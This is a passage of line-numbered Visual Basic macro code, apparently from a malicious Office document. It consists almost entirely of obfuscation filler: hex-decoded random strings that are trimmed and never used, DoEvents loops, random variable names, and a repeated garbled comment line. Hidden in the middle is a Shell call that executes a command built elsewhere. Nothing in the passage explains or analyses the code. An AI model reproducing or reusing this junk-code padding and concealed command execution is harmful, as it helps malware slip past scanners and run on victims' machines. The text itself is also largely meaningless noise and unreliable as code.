  638. oTdBbPNS = HexToString("20202020202020202020204C59584E4952202020202020202020202020202020")
  639. zXePjJhh = LTrim(oTdBbPNS)
  640. UJQtEdui = RTrim(zXePjJhh)
  641.  
  642.    
  643.     Dim WNBDJKBSMXA
  644. Dim oApmVPjk, zKayGJYW, YDInzdcS As String
  645. Dim ACKYeWPg As Integer
  646. For ACKYeWPg = 0 To 2
  647. Dim wsdHlkpd, VxAPzGLU, ddYfiAth As String
  648. wsdHlkpd = HexToString("20202020202020202020204942514A4F53202020202020202020202020202020")
  649. VxAPzGLU = LTrim(wsdHlkpd)
  650. ddYfiAth = RTrim(VxAPzGLU)
  651.  
  652. DoEvents
  653. Next ACKYeWPg
  654. Dim JIDpkAqH, eFbdLhfa, hMshwrks As String
  655. JIDpkAqH = HexToString("20202020202020202020204D5A49464348202020202020202020202020202020")
  656. eFbdLhfa = LTrim(JIDpkAqH)
  657. hMshwrks = RTrim(eFbdLhfa)
  658.  
  659. oApmVPjk = HexToString("20202020202020202020204C5457514D52202020202020202020202020202020")
  660. Dim MGRneXES As Integer
  661. For MGRneXES = 0 To 3
  662. Dim RhVwXgkI, bjoIjlGO, wklMPcdP As String
  663. RhVwXgkI = HexToString("2020202020202020202020585841484841202020202020202020202020202020")
  664. bjoIjlGO = LTrim(RhVwXgkI)
  665. wklMPcdP = RTrim(bjoIjlGO)
  666.  
  667. DoEvents
  668. Next MGRneXES
  669. Dim lJEAQLbS, dimdAaGh, KezIGwYu As String
  670. lJEAQLbS = HexToString("2020202020202020202020565354464649202020202020202020202020202020")
  671. dimdAaGh = LTrim(lJEAQLbS)
  672. KezIGwYu = RTrim(dimdAaGh)
  673.  
  674. zKayGJYW = LTrim(oApmVPjk)
  675. Dim NFQePumM As Integer
  676. For NFQePumM = 0 To 6
  677. Dim VzalIsFl, dKuXFCNa, GemHcmOw As String
  678. VzalIsFl = HexToString("202020202020202020202047504E434148202020202020202020202020202020")
  679. dKuXFCNa = LTrim(VzalIsFl)
  680. GemHcmOw = RTrim(dKuXFCNa)
  681.  
  682. DoEvents
  683. Next NFQePumM
  684. Dim fIkdllho, nFrhWill, SMHlcXxE As String
  685. fIkdllho = HexToString("2020202020202020202020534441564454202020202020202020202020202020")
  686. nFrhWill = LTrim(fIkdllho)
  687. SMHlcXxE = RTrim(nFrhWill)
  688.  
  689. YDInzdcS = RTrim(zKayGJYW)
  690.  
  691. Dim VNSKUwlY As Integer
  692. For VNSKUwlY = 0 To 6
  693. Dim ltIOEEjP, gtLWVUFS, qyeulSsD As String
  694. ltIOEEjP = HexToString("202020202020202020202048484C435949202020202020202020202020202020")
  695. gtLWVUFS = LTrim(ltIOEEjP)
  696. qyeulSsD = RTrim(gtLWVUFS)
  697.  
  698. DoEvents
  699. Next VNSKUwlY
  700. Dim WHjAvCDe, FuidhrzY, leGUZbMv As String
  701. WHjAvCDe = HexToString("2020202020202020202020535342464950202020202020202020202020202020")
  702. FuidhrzY = LTrim(WHjAvCDe)
  703. leGUZbMv = RTrim(FuidhrzY)
  704.  
  705.     WNBDJKBSMXA = Shell(TVJVKSFDLLP, 1)
  706.  
  707. Dim uuHSsxxm, wCXhjoIe, VippNTkx As String
  708. Dim uHiaVMTN As Integer
  709. For uHiaVMTN = 0 To 2
  710. Dim hJQvzhmv, KzNlQSrK, yKyCJvhn As String
  711. hJQvzhmv = HexToString("2020202020202020202020524743494E51202020202020202020202020202020")
  712. KzNlQSrK = LTrim(hJQvzhmv)
  713. yKyCJvhn = RTrim(KzNlQSrK)
  714.  
  715. DoEvents
  716. Next uHiaVMTN
  717. Dim yWJnIYDD, kaEEpmHV, EuhYSiMi As String
  718. yWJnIYDD = HexToString("2020202020202020202020414F5043544B202020202020202020202020202020")
  719. kaEEpmHV = LTrim(yWJnIYDD)
  720. EuhYSiMi = RTrim(kaEEpmHV)
  721.  
  722. uuHSsxxm = HexToString("20202020202020202020204C5357554858202020202020202020202020202020")
  723. Dim QUyMiVxs As Integer
  724. For QUyMiVxs = 0 To 1
  725. Dim aLIdKlcs, CMKvdcWf, KMzPUZlg As String
  726. aLIdKlcs = HexToString("202020202020202020202055514C514645202020202020202020202020202020")
  727. CMKvdcWf = LTrim(aLIdKlcs)
  728. KMzPUZlg = RTrim(CMKvdcWf)
  729.  
  730. DoEvents
  731. Next QUyMiVxs
  732. Dim iNbxtnhq, ajhiWURF, YsVZozxY As String
  733. iNbxtnhq = HexToString("20202020202020202020204C4A45535642202020202020202020202020202020")
  734. ajhiWURF = LTrim(iNbxtnhq)
  735. YsVZozxY = RTrim(ajhiWURF)
  736.  
  737. wCXhjoIe = LTrim(uuHSsxxm)
  738. Dim zEcwNsqo As Integer
  739. For zEcwNsqo = 0 To 1
  740. Dim bocZPlQn, DBZyGrCo, hpJNvAYZ As String
  741. bocZPlQn = HexToString("20202020202020202020205A44515A5A4C202020202020202020202020202020")
  742. DBZyGrCo = LTrim(bocZPlQn)
  743. hpJNvAYZ = RTrim(DBZyGrCo)
  744.  
  745. DoEvents
  746. Next zEcwNsqo
  747. Dim qkGlxQGi, xcAxVvLl, OEfbndXZ As String
  748. qkGlxQGi = HexToString("2020202020202020202020505444414644202020202020202020202020202020")
  749. xcAxVvLl = LTrim(qkGlxQGi)
  750. OEfbndXZ = RTrim(xcAxVvLl)
  751.  
  752. VippNTkx = RTrim(wCXhjoIe)
  753.  
  754. Dim mcaatrsw As Integer
  755. For mcaatrsw = 0 To 4
  756. Dim HFTLNdfM, QGGtmkQW, UHNjGwoC As String
  757. HFTLNdfM = HexToString("202020202020202020202041494B414B4E202020202020202020202020202020")
  758. QGGtmkQW = LTrim(HFTLNdfM)
  759. UHNjGwoC = RTrim(QGGtmkQW)
  760.  
  761. DoEvents
  762. Next mcaatrsw
  763. Dim lMDhMwfK, sqRaQZZw, JyswVCmf As String
  764. lMDhMwfK = HexToString("2020202020202020202020564650494B58202020202020202020202020202020")
  765. sqRaQZZw = LTrim(lMDhMwfK)
  766. JyswVCmf = RTrim(sqRaQZZw)
  767.  
  768.     Set VITXOMHNZWX = Nothing
  769. Dim vSNlcThq, PKSxBllw, XBvbAuxY As String
  770. Dim LRNraeNe As Integer
  771. For LRNraeNe = 0 To 2
  772. Dim SCCrccHA, aDeIZpzp, EVjZsYQR As String
  773. SCCrccHA = HexToString("20202020202020202020204F5556485858202020202020202020202020202020")
  774. aDeIZpzp = LTrim(SCCrccHA)
  775. EVjZsYQR = RTrim(aDeIZpzp)
  776.  
  777. DoEvents
  778. Next LRNraeNe
  779. Dim KspAAlRo, rkXReyUl, ezvjaifK As String
  780. KspAAlRo = HexToString("20202020202020202020204D4A4C435A51202020202020202020202020202020")
  781. rkXReyUl = LTrim(KspAAlRo)
  782. ezvjaifK = RTrim(rkXReyUl)
  783.  
  784. vSNlcThq = HexToString("20202020202020202020204A474C414750202020202020202020202020202020")
  785. Dim fCgXfBgC As Integer
  786. For fCgXfBgC = 0 To 9
  787. Dim XMlDkFYY, KWEBSKrU, DXDquCAI As String
  788. XMlDkFYY = HexToString("2020202020202020202020525153564146202020202020202020202020202020")
  789. KWEBSKrU = LTrim(XMlDkFYY)
  790. DXDquCAI = RTrim(KWEBSKrU)
  791.  
  792. DoEvents
  793. Next fCgXfBgC
  794. Dim vehyPPIw, klyJAJCB, CgFsFsGH As String
  795. vehyPPIw = HexToString("2020202020202020202020414B56454652202020202020202020202020202020")
  796. klyJAJCB = LTrim(vehyPPIw)
  797. CgFsFsGH = RTrim(klyJAJCB)
  798.  
  799. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  800. PKSxBllw = LTrim(vSNlcThq)
  801. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  802. Dim seXgvnjN As Integer
  803. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  804. For seXgvnjN = 0 To 5
  805. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  806. Dim GdyMPsgu, lvlDlOVn, Yfbkbwpo As String
  807. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  808. GdyMPsgu = HexToString("20202020202020202020204B4E554C4A4F202020202020202020202020202020")
  809. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  810. lvlDlOVn = LTrim(GdyMPsgu)
  811. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  812. Yfbkbwpo = RTrim(lvlDlOVn)
  813. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  814.  
  815. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  816. DoEvents
  817. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  818. Next seXgvnjN
  819. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  820. Dim eRUukRvj, hPlpLkAn, AHtdmyTQ As String
  821. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  822. eRUukRvj = HexToString("202020202020202020202055514F575150202020202020202020202020202020")
  823. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  824. hPlpLkAn = LTrim(eRUukRvj)
  825. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  826. AHtdmyTQ = RTrim(hPlpLkAn)
  827. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  828.  
  829. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  830. XBvbAuxY = RTrim(PKSxBllw)
  831. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  832.  
  833. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  834. Dim cUldPZax As Integer
  835. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  836. For cUldPZax = 0 To 5
  837. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  838. Dim dEVPKQWM, oEiXdGlW, rRkoYMHC As String
  839. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  840. dEVPKQWM = HexToString("2020202020202020202020444541434653202020202020202020202020202020")
  841. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  842. oEiXdGlW = LTrim(dEVPKQWM)
  843. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  844. rRkoYMHC = RTrim(oEiXdGlW)
  845. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  846.  
  847. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  848. DoEvents
  849. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  850. Next cUldPZax
  851. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  852. Dim YGyyHEaJ, btCJYPjm, raRdLyis As String
  853. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  854. YGyyHEaJ = HexToString("202020202020202020202054514C52484E202020202020202020202020202020")
  855. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  856. btCJYPjm = LTrim(YGyyHEaJ)
  857. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  858. raRdLyis = RTrim(btCJYPjm)
  859. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  860.  
  861. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  862.    
  863. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  864. End Function
  865. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  866. Sub IGUCOBOAWDI()
  867. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  868. Dim UrlENewP, ZtEGmiLQ, vyDaGsjS As String
  869. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  870. Dim yJdgYItr As Integer
  871. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  872. For yJdgYItr = 0 To 2
  873. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  874. Dim cyZesefl, NjHCWnCD, guXnNsow As String
  875. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  876. cyZesefl = HexToString("20202020202020202020204F584B435454202020202020202020202020202020")
  877. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  878. NjHCWnCD = LTrim(cyZesefl)
  879. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  880. guXnNsow = RTrim(NjHCWnCD)
  881. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  882.  
  883. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  884. DoEvents
  885. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  886. Next yJdgYItr
  887. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  888. Dim HChwpctf, zezvQsiv, foFAdBqO As String
  889. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  890. HChwpctf = HexToString("20202020202020202020204C50584D4C46202020202020202020202020202020")
  891. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  892. zezvQsiv = LTrim(HChwpctf)
  893. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  894. foFAdBqO = RTrim(zezvQsiv)
  895. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  896.  
  897. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  898. UrlENewP = HexToString("20202020202020202020204348534C4B57202020202020202020202020202020")
  899. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  900. Dim KcXYlaXS As Integer
  901. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  902. For KcXYlaXS = 0 To 5
  903. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  904. Dim HNUztUZs, SaKfbQNf, UzzbMHcg As String
  905. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  906. HNUztUZs = HexToString("20202020202020202020205A464C594D50202020202020202020202020202020")
  907. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  908. SaKfbQNf = LTrim(HNUztUZs)
  909. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  910. UzzbMHcg = RTrim(SaKfbQNf)
  911. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  912.  
  913. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  914. DoEvents
  915. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  916. Next KcXYlaXS
  917. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  918. Dim YYZAVwBB, bCldGZfZ, tKaUzVtm As String
  919. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  920. YYZAVwBB = HexToString("2020202020202020202020545552464D58202020202020202020202020202020")
  921. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  922. bCldGZfZ = LTrim(YYZAVwBB)
  923. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  924. tKaUzVtm = RTrim(bCldGZfZ)
  925. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  926.  
  927. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  928. ZtEGmiLQ = LTrim(UrlENewP)
  929. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  930. Dim kcvhlCUu As Integer
  931. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  932. For kcvhlCUu = 0 To 4
  933. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  934. Dim nxToAOqT, GdPSUmxf, kvBYjKyI As String
  935. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  936. nxToAOqT = HexToString("2020202020202020202020454D474B565A202020202020202020202020202020")
  937. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  938. GdPSUmxf = LTrim(nxToAOqT)
  939. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  940. kvBYjKyI = RTrim(GdPSUmxf)
  941. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  942.  
  943. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  944. DoEvents
  945. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  946. Next kcvhlCUu
  947. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  948. Dim DoKwPLcW, BhRvdYny, qwjAFmRj As String
  949. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  950. DoKwPLcW = HexToString("20202020202020202020204241475A574A202020202020202020202020202020")
  951. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  952. BhRvdYny = LTrim(DoKwPLcW)
  953. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  954. qwjAFmRj = RTrim(BhRvdYny)
  955. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  956.  
  957. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  958. vyDaGsjS = RTrim(ZtEGmiLQ)
  959. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  960.  
  961. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  962. Dim QJKSwSkF As Integer
  963. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  964. For QJKSwSkF = 0 To 7
  965. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  966. Dim HJgxIlDa, SJvIecpz, UKIMxAUe As String
  967. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  968. HJgxIlDa = HexToString("20202020202020202020205A4F4F484F45202020202020202020202020202020")
  969. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  970. SJvIecpz = LTrim(HJgxIlDa)
  971. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  972. UKIMxAUe = RTrim(SJvIecpz)
  973. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  974.  
  975. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  976. DoEvents
  977. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  978. Next QJKSwSkF
  979. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  980. Dim qxePLNXI, eSLwPuqs, IIAHCAzr As String
  981. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  982. qxePLNXI = HexToString("20202020202020202020204D5A4B4C4B51202020202020202020202020202020")
